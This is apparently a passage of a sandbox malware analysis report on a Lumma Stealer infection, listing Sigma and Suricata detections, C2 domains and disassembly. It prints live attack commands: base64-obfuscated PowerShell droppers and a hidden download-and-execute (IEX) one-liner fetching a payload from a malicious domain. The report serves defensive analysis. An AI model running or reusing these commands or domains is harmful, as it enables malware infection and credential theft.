Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, ParentCommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7508, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe", ProcessId: 6680, ProcessName: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw=='))), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFC

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7324, TargetFilename: C:\Users\user\AppData\Local\Temp\a.ps1

Data Obfuscation

Sigma detected: Powershell Download and Execute IEX

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7604, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , ProcessId: 7700, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T13:56:33.726180+0100	2028371	3	Unknown Traffic	192.168.2.7	49977	104.21.112.1	443	TCP
2025-01-08T13:56:34.665709+0100	2028371	3	Unknown Traffic	192.168.2.7	49978	104.21.112.1	443	TCP
2025-01-08T13:56:35.840011+0100	2028371	3	Unknown Traffic	192.168.2.7	49979	104.21.112.1	443	TCP
2025-01-08T13:56:37.183158+0100	2028371	3	Unknown Traffic	192.168.2.7	49980	104.21.112.1	443	TCP
2025-01-08T13:56:38.231975+0100	2028371	3	Unknown Traffic	192.168.2.7	49981	104.21.112.1	443	TCP
2025-01-08T13:56:39.557861+0100	2028371	3	Unknown Traffic	192.168.2.7	49982	104.21.112.1	443	TCP
2025-01-08T13:56:40.808788+0100	2028371	3	Unknown Traffic	192.168.2.7	49983	104.21.112.1	443	TCP
2025-01-08T13:56:42.999576+0100	2028371	3	Unknown Traffic	192.168.2.7	49984	104.21.112.1	443	TCP
2025-01-08T13:56:44.401211+0100	2028371	3	Unknown Traffic	192.168.2.7	49985	192.250.235.30	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T13:56:34.172790+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49977	104.21.112.1	443	TCP
2025-01-08T13:56:35.165753+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49978	104.21.112.1	443	TCP
2025-01-08T13:56:43.462643+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49984	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T13:56:34.172790+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49977	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T13:56:35.165753+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49978	104.21.112.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T13:56:36.678110+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49979	104.21.112.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: crowdwarek.shop	Avira URL Cloud: Label: malware
Source: robinsharez.shop	Avira URL Cloud: Label: malware
Source: versersleep.shop	Avira URL Cloud: Label: malware
Source: https://bigadcompany.com/Assaac.exe	Avira URL Cloud: Label: malware
Source: femalsabler.shop	Avira URL Cloud: Label: malware
Source: soundtappysk.shop	Avira URL Cloud: Label: malware
Source: apporholis.shop	Avira URL Cloud: Label: malware
Source: handscreamny.shop	Avira URL Cloud: Label: malware
Source: chipdonkeruz.shop	Avira URL Cloud: Label: malware

Found malware configuration

Source: 19.2.powershell.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["femalsabler.shop", "soundtappysk.shop", "quinceisoz.cam", "versersleep.shop", "robinsharez.shop", "apporholis.shop", "handscreamny.shop", "crowdwarek.shop", "chipdonkeruz.shop"], "Build id": "WG6I6S--web55"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Sample uses string decryption to hide its real strings

Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: robinsharez.shop
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: handscreamny.shop
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: chipdonkeruz.shop
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: versersleep.shop
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crowdwarek.shop
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: apporholis.shop
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: femalsabler.shop
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: soundtappysk.shop
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: quinceisoz.cam
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: WG6I6S--web55

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_00418E87 CryptUnprotectData,

19_2_00418E87

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.250.235.30:443 -> 192.168.2.7:49985 version: TLS 1.2

Source:

Binary string: C:\Users\Kernel32\Desktop\ki_to_ki\Assaac\obj\x64\Release\Assaac.pdb source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000000.2302983309.0000026A56552000.00000002.00000001.01000000.0000000E.sdmp, 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 08063D99h	13_2_08063C8A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 08078EFFh	13_2_08078DBC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 080763BDh	13_2_08076029
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 080763BDh	13_2_08076038
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 08078EFFh	13_2_08078E3F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 080767EEh	13_2_08076778
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 080767EEh	13_2_08076788
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push C241818Eh	19_2_0040A011
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	19_2_0040C083
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	19_2_0043B120
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	19_2_0040B290
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-000000DAh]	19_2_004220E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	19_2_00427097
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ecx], dl	19_2_0042B141
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	19_2_0042B141
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, ebx	19_2_0041C910
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	19_2_0042D120
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then test esi, esi	19_2_0043C130
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [ecx]	19_2_0043E980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh	19_2_00402250
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], bl	19_2_00409270
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push eax	19_2_0041F2D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+edx-000000DCh]	19_2_0041F2D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	19_2_00438AD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+16F4F336h]	19_2_00441280
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	19_2_00428B65
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	19_2_00425310
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, ecx	19_2_00426BC6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-1Dh]	19_2_004283D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+16F4F336h]	19_2_00441380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [esi], cx	19_2_00414B90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, eax	19_2_00405BA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebp, eax	19_2_00405BA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	19_2_0042A3B3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax-14D01ED7h]	19_2_0041CC59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	19_2_00426C1B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	19_2_0042A430
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], al	19_2_0042ECEF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	19_2_0042BC80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+17h]	19_2_00409540
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	19_2_00441540
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], al	19_2_0042ECED
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [ecx]	19_2_0040ADC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1E2B6BFEh]	19_2_0040ADC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	19_2_004415D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+0Eh]	19_2_00416DBD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea ecx, dword ptr [edx+13h]	19_2_00441660
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	19_2_00441660
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	19_2_00429E70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	19_2_00441E70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 27BE92A4h	19_2_00441E70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, ecx	19_2_00425600
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp al, 2Eh	19_2_0042860F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, ecx	19_2_00426BC6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	19_2_00417ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-00000094h]	19_2_00419690
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	19_2_0041A690
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [eax], cl	19_2_0040CF40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [eax], cl	19_2_0040CF40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ecx], bl	19_2_0040E777
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	19_2_00407700
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edi*4+00h]	19_2_00407700
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movsx edx, byte ptr [esi+eax]	19_2_0041EFE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	19_2_00421790

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49978 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49978 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49979 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49977 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49977 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49984 -> 104.21.112.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: femalsabler.shop
Source: Malware configuration extractor	URLs: soundtappysk.shop
Source: Malware configuration extractor	URLs: quinceisoz.cam
Source: Malware configuration extractor	URLs: versersleep.shop
Source: Malware configuration extractor	URLs: robinsharez.shop
Source: Malware configuration extractor	URLs: apporholis.shop
Source: Malware configuration extractor	URLs: handscreamny.shop
Source: Malware configuration extractor	URLs: crowdwarek.shop
Source: Malware configuration extractor	URLs: chipdonkeruz.shop

Source: global traffic

HTTP traffic detected: GET /kunnar.png HTTP/1.1Host: web.klipdywoziy.shopConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49978 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49979 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49981 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49977 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49983 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49982 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49980 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49984 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49985 -> 192.250.235.30:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: quinceisoz.cam
